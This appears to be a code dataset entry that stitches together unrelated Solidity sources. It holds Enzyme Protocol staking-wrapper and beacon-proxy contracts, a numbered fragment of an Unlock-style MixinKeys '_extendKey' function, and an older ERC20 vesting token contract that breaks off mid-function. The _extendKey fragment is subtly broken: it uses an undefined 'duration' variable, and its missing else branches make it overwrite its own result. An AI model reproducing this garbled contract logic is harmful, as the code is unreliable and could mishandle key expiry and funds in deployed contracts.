StakingWrapperLibBase Contract /// @author Enzyme Council <[email protected]> /// @notice A staking wrapper base for proxy targets, extending StakingWrapperBase abstract contract StakingWrapperLibBase is StakingWrapperBase { event TokenNameSet(string name); event TokenSymbolSet(string symbol); string private tokenName; string private tokenSymbol; /// @dev Helper function to set token name function __setTokenName(string memory _name) internal { tokenName = _name; emit TokenNameSet(_name); } /// @dev Helper function to set token symbol function __setTokenSymbol(string memory _symbol) internal { tokenSymbol = _symbol; emit TokenSymbolSet(_symbol); } ///////////////////// // ERC20 OVERRIDES // ///////////////////// /// @notice Gets the token name /// @return name_ The token name /// @dev Overrides the constructor-set storage for use in proxies function name() public view override returns (string memory name_) { return tokenName; } /// @notice Gets the token symbol /// @return symbol_ The token symbol /// @dev Overrides the constructor-set storage for use in proxies function symbol() public view override returns (string memory symbol_) { return tokenSymbol; } } // SPDX-License-Identifier: GPL-3.0 /* This file is part of the Enzyme Protocol. (c) Enzyme Council <[email protected]> For the full license information, please view the LICENSE file that was distributed with this source code. */ pragma solidity 0.6.12; pragma experimental ABIEncoderV2; import "../../../../persistent/dispatcher/IDispatcher.sol"; import "../../../utils/beacon-proxy/BeaconProxyFactory.sol"; import "./ConvexCurveLpStakingWrapperLib.sol"; /// @title ConvexCurveLpStakingWrapperFactory Contract /// @author Enzyme Council <[email protected]> /// @notice A contract factory for ConvexCurveLpStakingWrapper instances contract ConvexCurveLpStakingWrapperFactory is BeaconProxyFactory { event WrapperDeployed(uint256 indexed pid, address wrapperProxy, address curveLpToken); IDispatcher private immutable DISPATCHER_CONTRACT; mapping(uint256 => address) private pidToWrapper; // Handy cache for interacting contracts mapping(address => address) private wrapperToCurveLpToken; modifier onlyOwner { require(msg.sender == getOwner(), "Only the owner can call this function"); _; } constructor( address _dispatcher, address _convexBooster, address _crvToken, address _cvxToken ) public BeaconProxyFactory(address(0)) { DISPATCHER_CONTRACT = IDispatcher(_dispatcher); __setCanonicalLib( address( new ConvexCurveLpStakingWrapperLib( address(this), _convexBooster, _crvToken, _cvxToken ) ) ); } /// @notice Deploys a staking wrapper for a given Convex pool /// @param _pid The Convex Curve pool id /// @return wrapperProxy_ The staking wrapper proxy contract address function deploy(uint256 _pid) external returns (address wrapperProxy_) { require(getWrapperForConvexPool(_pid) == address(0), "deploy: Wrapper already exists"); bytes memory constructData = abi.encodeWithSelector( ConvexCurveLpStakingWrapperLib.init.selector, _pid ); wrapperProxy_ = deployProxy(constructData); pidToWrapper[_pid] = wrapperProxy_; address lpToken = ConvexCurveLpStakingWrapperLib(wrapperProxy_).getCurveLpToken(); wrapperToCurveLpToken[wrapperProxy_] = lpToken; emit WrapperDeployed(_pid, wrapperProxy_, lpToken); return wrapperProxy_; } /// @notice Pause deposits and harvesting new rewards for the given wrappers /// @param _wrappers The wrappers to pause function pauseWrappers(address[] calldata _wrappers) external onlyOwner { for (uint256 i; i < _wrappers.length; i++) { ConvexCurveLpStakingWrapperLib(_wrappers[i]).togglePause(true); } } /// @notice Unpauses deposits and harvesting new rewards for the given wrappers /// @param _wrappers The wrappers to unpause function unpauseWrappers(address[] calldata _wrappers) external onlyOwner { for (uint256 i; i < _wrappers.length; i++) { ConvexCurveLpStakingWrapperLib(_wrappers[i]).togglePause(false); } } //////////////////////////////////// // BEACON PROXY FACTORY OVERRIDES // //////////////////////////////////// /// @notice Gets the contract owner /// @return owner_ The contract owner function getOwner() public view override returns (address owner_) { return DISPATCHER_CONTRACT.getOwner(); } /////////////////// // STATE GETTERS // /////////////////// // EXTERNAL FUNCTIONS /// @notice Gets the Curve LP token address for a given wrapper /// @param _wrapper The wrapper proxy address /// @return lpToken_ The Curve LP token address function getCurveLpTokenForWrapper(address _wrapper) external view returns (address lpToken_) { return wrapperToCurveLpToken[_wrapper]; } // PUBLIC FUNCTIONS /// @notice Gets the wrapper address for a given Convex pool /// @param _pid The Convex pool id /// @return wrapper_ The wrapper proxy address function getWrapperForConvexPool(uint256 _pid) public view returns (address wrapper_) { return pidToWrapper[_pid]; } } // SPDX-License-Identifier: GPL-3.0 /* This file is part of the Enzyme Protocol. (c) Enzyme Council <[email protected]> For the full license information, please view the LICENSE file that was distributed with this source code. */ pragma solidity 0.6.12; pragma experimental ABIEncoderV2; import "../../../interfaces/IConvexBaseRewardPool.sol"; import "../../../interfaces/IConvexBooster.sol"; import "../../../interfaces/IConvexVirtualBalanceRewardPool.sol"; import "../StakingWrapperLibBase.sol"; /// @title ConvexCurveLpStakingWrapperLib Contract /// @author Enzyme Council <[email protected]> /// @notice A library contract for ConvexCurveLpStakingWrapper instances contract ConvexCurveLpStakingWrapperLib is StakingWrapperLibBase { IConvexBooster private immutable CONVEX_BOOSTER_CONTRACT; address private immutable CRV_TOKEN; address private immutable CVX_TOKEN; address private convexPool; uint256 private convexPoolId; address private curveLPToken; constructor( address _owner, address _convexBooster, address _crvToken, address _cvxToken ) public StakingWrapperBase(_owner, "", "") { CONVEX_BOOSTER_CONTRACT = IConvexBooster(_convexBooster); CRV_TOKEN = _crvToken; CVX_TOKEN = _cvxToken; } /// @notice Initializes the proxy /// @param _pid The Convex pool id for which to use the proxy function init(uint256 _pid) external { // Can validate with any variable set here require(getCurveLpToken() == address(0), "init: Initialized"); IConvexBooster.PoolInfo memory poolInfo = CONVEX_BOOSTER_CONTRACT.poolInfo(_pid); // Set ERC20 info on proxy __setTokenName(string(abi.encodePacked("Enzyme Staked: ", ERC20(poolInfo.token).name()))); __setTokenSymbol(string(abi.encodePacked("stk", ERC20(poolInfo.token).symbol()))); curveLPToken = poolInfo.lptoken; convexPool = poolInfo.crvRewards; convexPoolId = _pid; __addRewardToken(CRV_TOKEN); __addRewardToken(CVX_TOKEN); addExtraRewards(); setApprovals(); } /// @notice Adds rewards tokens that have not yet been added to the wrapper /// @dev Anybody can call, in case more pool tokens are added. /// Is called prior to every new harvest. function addExtraRewards() public { IConvexBaseRewardPool convexPoolContract = IConvexBaseRewardPool(getConvexPool()); // Could probably exit early after validating that extraRewardsCount + 2 <= rewardsTokens.length, // but this protects against a reward token being removed that still needs to be paid out uint256 extraRewardsCount = convexPoolContract.extraRewardsLength(); for (uint256 i; i < extraRewardsCount; i++) { // __addRewardToken silently ignores duplicates __addRewardToken( IConvexVirtualBalanceRewardPool(convexPoolContract.extraRewards(i)).rewardToken() ); } } /// @notice Sets necessary ERC20 approvals, as-needed function setApprovals() public { ERC20(getCurveLpToken()).safeApprove(address(CONVEX_BOOSTER_CONTRACT), type(uint256).max); } //////////////////////////////// // STAKING WRAPPER BASE LOGIC // //////////////////////////////// /// @dev Logic to be run during a deposit, specific to the integrated protocol. /// Do not mint staking tokens, which already happens during __deposit(). function __depositLogic(address _from, uint256 _amount) internal override { ERC20(getCurveLpToken()).safeTransferFrom(_from, address(this), _amount); CONVEX_BOOSTER_CONTRACT.deposit(convexPoolId, _amount, true); } /// @dev Logic to be run during a checkpoint to harvest new rewards, specific to the integrated protocol. /// Can also be used to add new rewards tokens dynamically. /// Do not checkpoint, only harvest the rewards. function __harvestRewardsLogic() internal override { // It's probably overly-cautious to check rewards on every call, // but even when the pool has 1 extra reward token (most have 0) it only adds ~10-15k gas units, // so more convenient to always check than to monitor for rewards changes. addExtraRewards(); IConvexBaseRewardPool(getConvexPool()).getReward(); } /// @dev Logic to be run during a withdrawal, specific to the integrated protocol. /// Do not burn staking tokens, which already happens during __withdraw(). function __withdrawLogic(address _to, uint256 _amount) internal override { IConvexBaseRewardPool(getConvexPool()).withdrawAndUnwrap(_amount, false); ERC20(getCurveLpToken()).safeTransfer(_to, _amount); } /////////////////// // STATE GETTERS // /////////////////// /// @notice Gets the associated Convex reward pool address /// @return convexPool_ The reward pool function getConvexPool() public view returns (address convexPool_) { return convexPool; } /// @notice Gets the associated Convex reward pool id (pid) /// @return convexPoolId_ The pid function getConvexPoolId() public view returns (uint256 convexPoolId_) { return convexPoolId; } /// @notice Gets the associated Curve LP token /// @return curveLPToken_ The Curve LP token function getCurveLpToken() public view returns (address curveLPToken_) { return curveLPToken; } } // SPDX-License-Identifier: GPL-3.0 /* This file is part of the Enzyme Protocol. (c) Enzyme Council <[email protected]> For the full license information, please view the LICENSE file that was distributed with this source code. */ pragma solidity 0.6.12; /// @title IConvexBaseRewardPool Interface /// @author Enzyme Council <[email protected]> interface IConvexBaseRewardPool { function balanceOf(address) external view returns (uint256); function extraRewards(uint256) external view returns (address); function extraRewardsLength() external view returns (uint256); function getReward() external returns (bool); function withdraw(uint256, bool) external; function withdrawAndUnwrap(uint256, bool) external returns (bool); } // SPDX-License-Identifier: GPL-3.0 /* This file is part of the Enzyme Protocol. (c) Enzyme Council <[email protected]> For the full license information, please view the LICENSE file that was distributed with this source code. */ pragma solidity 0.6.12; pragma experimental ABIEncoderV2; /// @title IConvexBooster Interface /// @author Enzyme Council <[email protected]> interface IConvexBooster { struct PoolInfo { address lptoken; address token; address gauge; address crvRewards; address stash; bool shutdown; } function deposit( uint256, uint256, bool ) external returns (bool); function poolInfo(uint256) external view returns (PoolInfo memory); } // SPDX-License-Identifier: GPL-3.0 /* This file is part of the Enzyme Protocol. (c) Enzyme Council <[email protected]> For the full license information, please view the LICENSE file that was distributed with this source code. */ pragma solidity 0.6.12; /// @title IConvexVirtualBalanceRewardPool Interface /// @author Enzyme Council <[email protected]> interface IConvexVirtualBalanceRewardPool { function rewardToken() external view returns (address); } // SPDX-License-Identifier: GPL-3.0 /* This file is part of the Enzyme Protocol. (c) Enzyme Council <[email protected]> For the full license information, please view the LICENSE file that was distributed with this source code. */ pragma solidity 0.6.12; /// @title ICurveAddressProvider interface /// @author Enzyme Council <[email protected]> interface ICurveAddressProvider { function get_address(uint256) external view returns (address); function get_registry() external view returns (address); } // SPDX-License-Identifier: GPL-3.0 /* This file is part of the Enzyme Protocol. (c) Enzyme Council <[email protected]> For the full license information, please view the LICENSE file that was distributed with this source code. */ pragma solidity 0.6.12; /// @title ICurveLiquidityPool interface /// @author Enzyme Council <[email protected]> interface ICurveLiquidityPool { function coins(int128) external view returns (address); function coins(uint256) external view returns (address); function get_virtual_price() external view returns (uint256); function underlying_coins(int128) external view returns (address); function underlying_coins(uint256) external view returns (address); } // SPDX-License-Identifier: GPL-3.0 /* This file is part of the Enzyme Protocol. (c) Enzyme Council <[email protected]> For the full license information, please view the LICENSE file that was distributed with this source code. */ pragma solidity 0.6.12; /// @title ICurvePoolOwner interface /// @author Enzyme Council <[email protected]> interface ICurvePoolOwner { function withdraw_admin_fees(address) external; } // SPDX-License-Identifier: GPL-3.0 /* This file is part of the Enzyme Protocol. (c) Enzyme Council <[email protected]> For the full license information, please view the LICENSE file that was distributed with this source code. */ pragma solidity 0.6.12; /// @title ICurveRegistryMain interface /// @author Enzyme Council <[email protected]> /// @notice Limited interface for the Curve Registry contract at ICurveAddressProvider.get_address(0) interface ICurveRegistryMain { function get_gauges(address) external view returns (address[10] memory, int128[10] memory); function get_lp_token(address) external view returns (address); } // SPDX-License-Identifier: GPL-3.0 /* This file is part of the Enzyme Protocol. (c) Enzyme Council <[email protected]> For the full license information, please view the LICENSE file that was distributed with this source code. */ pragma solidity 0.6.12; /// @title ICurveRegistryMetapoolFactory interface /// @author Enzyme Council <[email protected]> /// @notice Limited interface for the Curve Registry contract at ICurveAddressProvider.get_address(3) interface ICurveRegistryMetapoolFactory { function get_gauge(address) external view returns (address); function get_n_coins(address) external view returns (uint256); } // SPDX-License-Identifier: GPL-3.0 /* This file is part of the Enzyme Protocol. (c) Enzyme Council <[email protected]> For the full license information, please view the LICENSE file that was distributed with this source code. */ pragma solidity 0.6.12; /// @title WETH Interface /// @author Enzyme Council <[email protected]> interface IWETH { function deposit() external payable; function withdraw(uint256) external; } // SPDX-License-Identifier: GPL-3.0 /* This file is part of the Enzyme Protocol. (c) Enzyme Council <[email protected]> For the full license information, please view the LICENSE file that was distributed with this source code. */ pragma solidity 0.6.12; /// @title AddressArray Library /// @author Enzyme Council <[email protected]> /// @notice A library to extend the address array data type library AddressArrayLib { ///////////// // STORAGE // ///////////// /// @dev Helper to remove an item from a storage array function removeStorageItem(address[] storage _self, address _itemToRemove) internal returns (bool removed_) { uint256 itemCount = _self.length; for (uint256 i; i < itemCount; i++) { if (_self[i] == _itemToRemove) { if (i < itemCount - 1) { _self[i] = _self[itemCount - 1]; } _self.pop(); removed_ = true; break; } } return removed_; } //////////// // MEMORY // //////////// /// @dev Helper to add an item to an array. Does not assert uniqueness of the new item. function addItem(address[] memory _self, address _itemToAdd) internal pure returns (address[] memory nextArray_) { nextArray_ = new address[](_self.length + 1); for (uint256 i; i < _self.length; i++) { nextArray_[i] = _self[i]; } nextArray_[_self.length] = _itemToAdd; return nextArray_; } /// @dev Helper to add an item to an array, only if it is not already in the array. function addUniqueItem(address[] memory _self, address _itemToAdd) internal pure returns (address[] memory nextArray_) { if (contains(_self, _itemToAdd)) { return _self; } return addItem(_self, _itemToAdd); } /// @dev Helper to verify if an array contains a particular value function contains(address[] memory _self, address _target) internal pure returns (bool doesContain_) { for (uint256 i; i < _self.length; i++) { if (_target == _self[i]) { return true; } } return false; } /// @dev Helper to merge the unique items of a second array. /// Does not consider uniqueness of either array, only relative uniqueness. /// Preserves ordering. function mergeArray(address[] memory _self, address[] memory _arrayToMerge) internal pure returns (address[] memory nextArray_) { uint256 newUniqueItemCount; for (uint256 i; i < _arrayToMerge.length; i++) { if (!contains(_self, _arrayToMerge[i])) { newUniqueItemCount++; } } if (newUniqueItemCount == 0) { return _self; } nextArray_ = new address[](_self.length + newUniqueItemCount); for (uint256 i; i < _self.length; i++) { nextArray_[i] = _self[i]; } uint256 nextArrayIndex = _self.length; for (uint256 i; i < _arrayToMerge.length; i++) { if (!contains(_self, _arrayToMerge[i])) { nextArray_[nextArrayIndex] = _arrayToMerge[i]; nextArrayIndex++; } } return nextArray_; } /// @dev Helper to verify if array is a set of unique values. /// Does not assert length > 0. function isUniqueSet(address[] memory _self) internal pure returns (bool isUnique_) { if (_self.length <= 1) { return true; } uint256 arrayLength = _self.length; for (uint256 i; i < arrayLength; i++) { for (uint256 j = i + 1; j < arrayLength; j++) { if (_self[i] == _self[j]) { return false; } } } return true; } /// @dev Helper to remove items from an array. Removes all matching occurrences of each item. /// Does not assert uniqueness of either array. function removeItems(address[] memory _self, address[] memory _itemsToRemove) internal pure returns (address[] memory nextArray_) { if (_itemsToRemove.length == 0) { return _self; } bool[] memory indexesToRemove = new bool[](_self.length); uint256 remainingItemsCount = _self.length; for (uint256 i; i < _self.length; i++) { if (contains(_itemsToRemove, _self[i])) { indexesToRemove[i] = true; remainingItemsCount--; } } if (remainingItemsCount == _self.length) { nextArray_ = _self; } else if (remainingItemsCount > 0) { nextArray_ = new address[](remainingItemsCount); uint256 nextArrayIndex; for (uint256 i; i < _self.length; i++) { if (!indexesToRemove[i]) { nextArray_[nextArrayIndex] = _self[i]; nextArrayIndex++; } } } return nextArray_; } } // SPDX-License-Identifier: GPL-3.0 /* This file is part of the Enzyme Protocol. (c) Enzyme Council <[email protected]> For the full license information, please view the LICENSE file that was distributed with this source code. */ pragma solidity 0.6.12; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; /// @title AssetHelpers Contract /// @author Enzyme Council <[email protected]> /// @notice A util contract for common token actions abstract contract AssetHelpers { using SafeERC20 for ERC20; using SafeMath for uint256; /// @dev Helper to aggregate amounts of the same assets function __aggregateAssetAmounts(address[] memory _rawAssets, uint256[] memory _rawAmounts) internal pure returns (address[] memory aggregatedAssets_, uint256[] memory aggregatedAmounts_) { if (_rawAssets.length == 0) { return (aggregatedAssets_, aggregatedAmounts_); } uint256 aggregatedAssetCount = 1; for (uint256 i = 1; i < _rawAssets.length; i++) { bool contains; for (uint256 j; j < i; j++) { if (_rawAssets[i] == _rawAssets[j]) { contains = true; break; } } if (!contains) { aggregatedAssetCount++; } } aggregatedAssets_ = new address[](aggregatedAssetCount); aggregatedAmounts_ = new uint256[](aggregatedAssetCount); uint256 aggregatedAssetIndex; for (uint256 i; i < _rawAssets.length; i++) { bool contains; for (uint256 j; j < aggregatedAssetIndex; j++) { if (_rawAssets[i] == aggregatedAssets_[j]) { contains = true; aggregatedAmounts_[j] += _rawAmounts[i]; break; } } if (!contains) { aggregatedAssets_[aggregatedAssetIndex] = _rawAssets[i]; aggregatedAmounts_[aggregatedAssetIndex] = _rawAmounts[i]; aggregatedAssetIndex++; } } return (aggregatedAssets_, aggregatedAmounts_); } /// @dev Helper to approve a target account with the max amount of an asset. /// This is helpful for fully trusted contracts, such as adapters that /// interact with external protocol like Uniswap, Compound, etc. function __approveAssetMaxAsNeeded( address _asset, address _target, uint256 _neededAmount ) internal { uint256 allowance = ERC20(_asset).allowance(address(this), _target); if (allowance < _neededAmount) { if (allowance > 0) { ERC20(_asset).safeApprove(_target, 0); } ERC20(_asset).safeApprove(_target, type(uint256).max); } } /// @dev Helper to transfer full asset balances from the current contract to a target function __pushFullAssetBalances(address _target, address[] memory _assets) internal returns (uint256[] memory amountsTransferred_) { amountsTransferred_ = new uint256[](_assets.length); for (uint256 i; i < _assets.length; i++) { ERC20 assetContract = ERC20(_assets[i]); amountsTransferred_[i] = assetContract.balanceOf(address(this)); if (amountsTransferred_[i] > 0) { assetContract.safeTransfer(_target, amountsTransferred_[i]); } } return amountsTransferred_; } } // SPDX-License-Identifier: GPL-3.0 /* This file is part of the Enzyme Protocol. (c) Enzyme Council <[email protected]> For the full license information, please view the LICENSE file that was distributed with this source code. */ pragma solidity 0.6.12; import "../core/fund-deployer/IFundDeployer.sol"; /// @title FundDeployerOwnerMixin Contract /// @author Enzyme Council <[email protected]> /// @notice A mixin contract that defers ownership to the owner of FundDeployer abstract contract FundDeployerOwnerMixin { address internal immutable FUND_DEPLOYER; modifier onlyFundDeployerOwner() { require( msg.sender == getOwner(), "onlyFundDeployerOwner: Only the FundDeployer owner can call this function" ); _; } constructor(address _fundDeployer) public { FUND_DEPLOYER = _fundDeployer; } /// @notice Gets the owner of this contract /// @return owner_ The owner /// @dev Ownership is deferred to the owner of the FundDeployer contract function getOwner() public view returns (address owner_) { return IFundDeployer(FUND_DEPLOYER).getOwner(); } /////////////////// // STATE GETTERS // /////////////////// /// @notice Gets the `FUND_DEPLOYER` variable /// @return fundDeployer_ The `FUND_DEPLOYER` variable value function getFundDeployer() public view returns (address fundDeployer_) { return FUND_DEPLOYER; } } // SPDX-License-Identifier: GPL-3.0 /* This file is part of the Enzyme Protocol. (c) Enzyme Council <[email protected]> For the full license information, please view the LICENSE file that was distributed with this source code. */ pragma solidity 0.6.12; import "./IBeacon.sol"; /// @title BeaconProxy Contract /// @author Enzyme Council <[email protected]> /// @notice A proxy contract that uses the beacon pattern for instant upgrades contract BeaconProxy { address private immutable BEACON; constructor(bytes memory _constructData, address _beacon) public { BEACON = _beacon; (bool success, bytes memory returnData) = IBeacon(_beacon).getCanonicalLib().delegatecall( _constructData ); require(success, string(returnData)); } // solhint-disable-next-line no-complex-fallback fallback() external payable { address contractLogic = IBeacon(BEACON).getCanonicalLib(); assembly { calldatacopy(0x0, 0x0, calldatasize()) let success := delegatecall( sub(gas(), 10000), contractLogic, 0x0, calldatasize(), 0, 0 ) let retSz := returndatasize() returndatacopy(0, 0, retSz) switch success case 0 { revert(0, retSz) } default { return(0, retSz) } } } receive() external payable {} } // SPDX-License-Identifier: GPL-3.0 /* This file is part of the Enzyme Protocol. (c) Enzyme Council <[email protected]> For the full license information, please view the LICENSE file that was distributed with this source code. */ pragma solidity 0.6.12; import "./BeaconProxy.sol"; import "./IBeaconProxyFactory.sol"; /// @title BeaconProxyFactory Contract /// @author Enzyme Council <[email protected]> /// @notice Factory contract that deploys beacon proxies abstract contract BeaconProxyFactory is IBeaconProxyFactory { event CanonicalLibSet(address nextCanonicalLib); event ProxyDeployed(address indexed caller, address proxy, bytes constructData); address private canonicalLib; constructor(address _canonicalLib) public { __setCanonicalLib(_canonicalLib); } /// @notice Deploys a new proxy instance /// @param _constructData The constructor data with which to call `init()` on the deployed proxy /// @return proxy_ The proxy address function deployProxy(bytes memory _constructData) public override returns (address proxy_) { proxy_ = address(new BeaconProxy(_constructData, address(this))); emit ProxyDeployed(msg.sender, proxy_, _constructData); return proxy_; } /// @notice Gets the canonical lib used by all proxies /// @return canonicalLib_ The canonical lib function getCanonicalLib() public view override returns (address canonicalLib_) { return canonicalLib; } /// @notice Gets the contract owner /// @return owner_ The contract owner function getOwner() public view virtual returns (address owner_); /// @notice Sets the next canonical lib used by all proxies /// @param _nextCanonicalLib The next canonical lib function setCanonicalLib(address _nextCanonicalLib) public override { require( msg.sender == getOwner(), "setCanonicalLib: Only the owner can call this function" ); __setCanonicalLib(_nextCanonicalLib); } /// @dev Helper to set the next canonical lib function __setCanonicalLib(address _nextCanonicalLib) internal { canonicalLib = _nextCanonicalLib; emit CanonicalLibSet(_nextCanonicalLib); } } // SPDX-License-Identifier: GPL-3.0 /* This file is part of the Enzyme Protocol. (c) Enzyme Council <[email protected]> For the full license information, please view the LICENSE file that was distributed with this source code. */ pragma solidity 0.6.12; /// @title IBeacon interface /// @author Enzyme Council <[email protected]> interface IBeacon { function getCanonicalLib() external view returns (address); } // SPDX-License-Identifier: GPL-3.0 /* This file is part of the Enzyme Protocol. (c) Enzyme Council <[email protected]> For the full license information, please view the LICENSE file that was distributed with this source code. */ import "./IBeacon.sol"; pragma solidity 0.6.12; /// @title IBeaconProxyFactory interface /// @author Enzyme Council <[email protected]> interface IBeaconProxyFactory is IBeacon { function deployProxy(bytes memory _constructData) external returns (address proxy_); function setCanonicalLib(address _canonicalLib) external; }
Claims all rewards for a given staking token _vaultProxy The VaultProxy of the calling fund _actionData Data specific to this action
function claimRewards( address _vaultProxy, bytes calldata _actionData, bytes calldata ) external onlyIntegrationManager { __stakingWrapperClaimRewardsFor(__decodeClaimRewardsCallArgs(_actionData), _vaultProxy); }
10,237,941
./full_match/80001/0x2d3B52Ab8233f29c7F189B6AAbD4AF8de3036cC4/sources/contracts/mixins/MixinKeys.sol
prevent extending a valid non-expiring key extends a valid key renew an expired or cancelled key call the hook
function _extendKey( uint _tokenId, uint _duration ) internal returns (uint newTimestamp) { uint expirationTimestamp = _keys[_tokenId].expirationTimestamp; if (expirationTimestamp == type(uint).max) { revert CANT_EXTEND_NON_EXPIRING_KEY(); } if (duration == type(uint).max) { newTimestamp = type(uint).max; if (expirationTimestamp > block.timestamp) { newTimestamp = expirationTimestamp + duration; newTimestamp = block.timestamp + duration; } } _keys[_tokenId].expirationTimestamp = newTimestamp; emit KeyExtended(_tokenId, newTimestamp); if (address(onKeyExtendHook) != address(0)) { onKeyExtendHook.onKeyExtend( _tokenId, msg.sender, newTimestamp, expirationTimestamp ); } }
9,435,233
pragma solidity ^0.4.21; /** * Math operations with safety checks */ library SafeMath { function mul(uint a, uint b) internal pure returns (uint) { uint c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint a, uint b) internal pure returns (uint) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } function sub(uint a, uint b) internal pure returns (uint) { assert(b <= a); return a - b; } function add(uint a, uint b) internal pure returns (uint) { uint c = a + b; assert(c >= a); return c; } function max64(uint64 a, uint64 b) internal pure returns (uint64) { return a >= b ? a : b; } function min64(uint64 a, uint64 b) internal pure returns (uint64) { return a < b ? a : b; } function max256(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } function min256(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20Basic { uint public totalSupply; function balanceOf(address who) public view returns (uint); function transfer(address to, uint value) public returns (bool); event Transfer(address indexed from, address indexed to, uint value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint; mapping(address => uint) balances; /** * @dev Fix for the ERC20 short address attack. */ modifier onlyPayloadSize(uint size) { if(msg.data.length < size + 4) { revert(); } _; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint _value) public onlyPayloadSize(2 * 32) returns (bool) { balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint balance) { return balances[_owner]; } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint); function transferFrom(address from, address to, uint value) public returns (bool); function approve(address spender, uint value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint value); } /** * @title Standard ERC20 token * * @dev Implemantation of the basic standart token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is BasicToken, ERC20 { mapping (address => mapping (address => uint)) allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint the amout of tokens to be transfered */ function transferFrom(address _from, address _to, uint _value) public onlyPayloadSize(3 * 32) returns (bool) { uint _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // if (_value > _allowance) revert(); balances[_to] = balances[_to].add(_value); balances[_from] = balances[_from].sub(_value); allowed[_from][msg.sender] = _allowance.sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Aprove the passed address to spend the specified amount of tokens on beahlf of msg.sender. * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint _value) public returns (bool) { // To change the approve amount you first have to reduce the addresses` // allowance to zero by calling `approve(_spender, 0)` if it is not // already 0 to mitigate the race condition described here: // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) revert(); allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens than an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint specifing the amount of tokens still avaible for the spender. */ function allowance(address _owner, address _spender) public view returns (uint remaining) { return allowed[_owner][_spender]; } } /** * @title LimitedTransferToken * @dev LimitedTransferToken defines the generic interface and the implementation to limit token * transferability for different events. It is intended to be used as a base class for other token * contracts. * LimitedTransferToken has been designed to allow for different limiting factors, * this can be achieved by recursively calling super.transferableTokens() until the base class is * hit. For example: * function transferableTokens(address holder, uint time, uint number) constant public returns (uint256) { * return min256(unlockedTokens, super.transferableTokens(holder, time, number)); * } * A working example is VestedToken.sol: * https://github.com/OpenZeppelin/zeppelin-solidity/blob/master/contracts/token/VestedToken.sol */ contract LimitedTransferToken is ERC20 { /** * @dev Checks whether it can transfer or otherwise throws. */ modifier canTransfer(address _sender, uint _value) { if (_value > transferableTokens(_sender, now, block.number)) revert(); _; } /** * @dev Checks modifier and allows transfer if tokens are not locked. * @param _to The address that will recieve the tokens. * @param _value The amount of tokens to be transferred. */ function transfer(address _to, uint _value) public canTransfer(msg.sender, _value) returns (bool) { return super.transfer(_to, _value); } /** * @dev Checks modifier and allows transfer if tokens are not locked. * @param _from The address that will send the tokens. * @param _to The address that will recieve the tokens. * @param _value The amount of tokens to be transferred. */ function transferFrom(address _from, address _to, uint _value) public canTransfer(_from, _value) returns (bool) { return super.transferFrom(_from, _to, _value); } /** * @dev Default transferable tokens function returns all tokens for a holder (no limit). * @dev Overwriting transferableTokens(address holder, uint time, uint number) is the way to provide the * specific logic for limiting token transferability for a holder over time or number. */ function transferableTokens(address holder, uint /* time */, uint /* number */) view public returns (uint256) { return balanceOf(holder); } } /** * @title Vested token * @dev Tokens that can be vested for a group of addresses. */ contract VestedToken is StandardToken, LimitedTransferToken { uint256 MAX_GRANTS_PER_ADDRESS = 20; struct TokenGrant { address granter; // 20 bytes uint256 value; // 32 bytes uint start; uint cliff; uint vesting; // 3 * 8 = 24 bytes bool revokable; bool burnsOnRevoke; // 2 * 1 = 2 bits? or 2 bytes? bool timeOrNumber; } // total 78 bytes = 3 sstore per operation (32 per sstore) mapping (address => TokenGrant[]) public grants; event NewTokenGrant(address indexed from, address indexed to, uint256 value, uint256 grantId); /** * @dev Grant tokens to a specified address * @param _to address The address which the tokens will be granted to. * @param _value uint256 The amount of tokens to be granted. * @param _start uint64 Time of the beginning of the grant. * @param _cliff uint64 Time of the cliff period. * @param _vesting uint64 The vesting period. */ function grantVestedTokens( address _to, uint256 _value, uint _start, uint _cliff, uint _vesting, bool _revokable, bool _burnsOnRevoke, bool _timeOrNumber ) public returns (bool) { // Check for date inconsistencies that may cause unexpected behavior if (_cliff < _start || _vesting < _cliff) { revert(); } // To prevent a user being spammed and have his balance locked (out of gas attack when calculating vesting). if (tokenGrantsCount(_to) > MAX_GRANTS_PER_ADDRESS) revert(); uint count = grants[_to].push( TokenGrant( _revokable ? msg.sender : 0, // avoid storing an extra 20 bytes when it is non-revokable _value, _start, _cliff, _vesting, _revokable, _burnsOnRevoke, _timeOrNumber ) ); transfer(_to, _value); emit NewTokenGrant(msg.sender, _to, _value, count - 1); return true; } /** * @dev Revoke the grant of tokens of a specifed address. * @param _holder The address which will have its tokens revoked. * @param _grantId The id of the token grant. */ function revokeTokenGrant(address _holder, uint _grantId) public returns (bool) { TokenGrant storage grant = grants[_holder][_grantId]; if (!grant.revokable) { // Check 